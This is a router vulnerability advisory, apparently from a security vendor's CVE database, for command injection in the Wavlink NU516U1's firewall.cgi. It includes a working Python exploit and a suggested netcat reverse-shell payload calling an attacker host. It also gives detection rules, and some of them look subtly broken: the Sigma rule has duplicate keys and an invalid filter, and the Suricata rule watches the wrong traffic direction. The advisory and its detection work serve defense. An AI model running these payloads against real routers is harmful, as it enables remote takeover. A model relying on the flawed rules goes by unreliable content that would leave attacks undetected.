CVE-2025-10964
Executive Summary
CVE-2025-10964 is a critical command injection vulnerability discovered in the Wavlink NU516U1 router. The flaw resides in the /cgi-bin/firewall.cgi CGI script, specifically within the sub_401B30 function. By manipulating the remoteManagementEnabled argument, an unauthenticated attacker can inject arbitrary operating system commands, leading to full remote compromise of the device. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the device in an unpatched state. This vulnerability poses a significant risk to all users of the Wavlink NU516U1, as it can be exploited remotely without authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): Low (L) – Reduced performance or service interruption.
Threat Level: High. The combination of remote exploitability, low complexity, and public exploit code makes this a high-priority threat for any organization using the Wavlink NU516U1.
Deep Dive & Mechanics
The vulnerability is a classic command injection flaw in the CGI binary handling firewall settings. The sub_401B30 function in /cgi-bin/firewall.cgi processes the remoteManagementEnabled parameter without proper sanitization. When a request is made to the endpoint, the value of this parameter is passed directly to a system-level function (likely system(), popen(), or exec()), allowing an attacker to break out of the intended argument and execute arbitrary commands.
Attack Flow:
- An attacker sends a crafted HTTP POST or GET request to
http://<router-ip>/cgi-bin/firewall.cgi. - The request includes the
remoteManagementEnabledparameter with a malicious payload, e.g.,remoteManagementEnabled=1;id. - The CGI script concatenates this value into a command string, such as
firewall_command remoteManagementEnabled 1;id. - The operating system executes the injected command (
idin this example) alongside the intended operation. - The output of the injected command is returned in the HTTP response, confirming successful exploitation.
Root Cause: Lack of input validation and failure to use secure functions (e.g., execve with argument arrays) that prevent shell interpretation of user-supplied data.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical representation of the vulnerable code and what a patched version should look like.
Vulnerable Code (C-like pseudocode):
void sub_401B30(char *remoteManagementEnabled) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "firewall_ctl --remote-mgmt %s", remoteManagementEnabled);
system(cmd); // Vulnerable: user input directly in shell command
}
Patched Code (Hypothetical):
void sub_401B30(char *remoteManagementEnabled) {
// Validate input: only allow "0" or "1"
if (strcmp(remoteManagementEnabled, "0") != 0 && strcmp(remoteManagementEnabled, "1") != 0) {
return; // Reject invalid input
}
// Use execve with argument array to avoid shell injection
char *args[] = {"firewall_ctl", "--remote-mgmt", remoteManagementEnabled, NULL};
execve("/usr/sbin/firewall_ctl", args, NULL);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Wavlink NU516U1 router on the local network.
- Ability to send HTTP requests to the router's IP.
Exploit (Python):
import requests
target_ip = "192.168.1.1"
payload = "1;id" # Command to execute
url = f"http://{target_ip}/cgi-bin/firewall.cgi"
data = {"remoteManagementEnabled": payload}
try:
response = requests.post(url, data=data, timeout=10)
print("Response:")
print(response.text)
except Exception as e:
print(f"Error: {e}")
Usage:
- Replace
target_ipwith the IP of the target router. - Run the script. The output of the
idcommand will be displayed in the response. - For a reverse shell, replace
payloadwith a command like1;nc -e /bin/sh <attacker-ip> 4444.
Blue Team (Detection & Hardening)
Detection:
- Monitor HTTP requests to
/cgi-bin/firewall.cgifor unusualremoteManagementEnabledvalues. - Look for shell metacharacters (
;,|,&,$,`,\n) in the parameter. - Alert on any outbound connections from the router to unknown IPs on common ports (e.g., 4444, 1337).
Hardening:
- Immediate: Disable remote management if not required. Block access to port 80/443 on the router from WAN.
- Network Segmentation: Place the router in a separate VLAN with strict egress filtering.
- Firmware Update: Monitor Wavlink's website for a patch. If none is released, consider replacing the device.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/cgi-bin/firewall.cgiwithremoteManagementEnabledcontaining shell metacharacters. - Outbound connections from the router to unusual IPs on ports 4444, 1337, 31337, etc.
- HTTP requests to
- File System:
- Modified
/cgi-bin/firewall.cgibinary (if attacker replaces it). - Presence of suspicious files in
/tmp/or/var/(e.g.,/tmp/.exploit).
- Modified
- Process:
- Unusual processes running as root, such as
nc,bash, orpython. - High CPU usage from
firewall.cgior spawned shells.
- Unusual processes running as root, such as
Detection Engineering
YARA Rule
rule CVE_2025_10964_Wavlink_Command_Injection {
meta:
description = "Detects exploitation attempts of CVE-2025-10964 in HTTP logs"
author = "Valters IT"
date = "2025-04-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-10964"
strings:
$cgi_path = "/cgi-bin/firewall.cgi"
$param = "remoteManagementEnabled"
$shell_meta1 = /remoteManagementEnabled=.*[;&|`$]/
$shell_meta2 = /remoteManagementEnabled=.*\n/
condition:
$cgi_path and $param and ($shell_meta1 or $shell_meta2)
}
Sigma Rule
title: CVE-2025-10964 Wavlink Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting /cgi-bin/firewall.cgi with suspicious remoteManagementEnabled parameter
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/cgi-bin/firewall.cgi"
cs-uri-query|contains: "remoteManagementEnabled"
filter:
cs-uri-query|contains: "remoteManagementEnabled=0" or "remoteManagementEnabled=1"
condition: selection and not filter
falsepositives:
- Legitimate remote management toggling (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10964 Wavlink Command Injection Attempt"; flow:to_server,established; content:"/cgi-bin/firewall.cgi"; http_uri; content:"remoteManagementEnabled"; http_client_body; pcre:"/remoteManagementEnabled=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: If not required, disable the remote management feature entirely via the router's web interface.
- Firewall Rules: Block inbound access to the router's web interface (ports 80, 443) from the WAN side.
- Network Segmentation: Place the router in a separate VLAN with strict egress filtering to prevent lateral movement.
Long-Term Actions:
- Firmware Update: Monitor Wavlink's official website for a security patch. If no patch is released within 30 days, consider replacing the device with a vendor that provides timely security updates.
- Vendor Communication: Attempt to contact Wavlink again via multiple channels (email, support portal, social media) to escalate the issue.
- Device Replacement: If the device is critical to operations and no patch is available, replace it with a supported alternative.
Workaround (if patching is not possible):
- Implement a reverse proxy (e.g., Nginx) in front of the router that validates and sanitizes the
remoteManagementEnabledparameter before forwarding the request.
Valters IT
Securing Digital Frontiers